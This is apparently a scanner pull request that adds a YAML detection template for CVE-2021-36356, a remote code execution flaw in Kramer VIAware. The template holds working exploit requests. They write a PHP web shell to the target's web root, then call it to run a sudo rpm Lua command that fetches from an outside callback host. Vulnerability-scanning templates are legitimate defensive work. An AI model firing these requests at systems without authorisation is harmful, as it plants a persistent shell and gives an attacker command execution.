Merge pull request #4273 from gy741/rule-add-v107

Create viaware-rce.yaml

cves/2021/CVE-2021-36356.yaml

@@ -0,0 +1,31 @@
+id: CVE-2021-36356
+
+info:
+  name: Kramer VIAware RCE
+  author: gy741
+  severity: critical
+  description: KRAMER VIAware through August 2021 allows remote attackers to execute arbitrary code because ajaxPages/writeBrowseFilePathAjax.php accepts arbitrary executable pathnames.
+  reference:
+    - https://www.exploit-db.com/exploits/50856
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-36356
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-35064
+  tags: rce,viaware,cve,cve2021,kramer
+
+requests:
+  - raw:
+      - |
+        POST /ajaxPages/writeBrowseFilePathAjax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        radioBtnVal=%3C%3Fphp%0A++++++++if%28isset%28%24_GET%5B%27cmd%27%5D%29%29%0A++++++++%7B%0A++++++++++++system%28%24_GET%5B%27cmd%27%5D%29%3B%0A++++++++%7D%3F%3E&associateFileName=%2Fvar%2Fwww%2Fhtml%2F{{randstr}}.php
+
+      - |
+        GET /{{randstr}}.php?cmd=sudo%20rpm%20--eval%20'%25%7Blua:os.execute(%22wget%20http://{{interactsh-url}}%22)%7D' HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "http"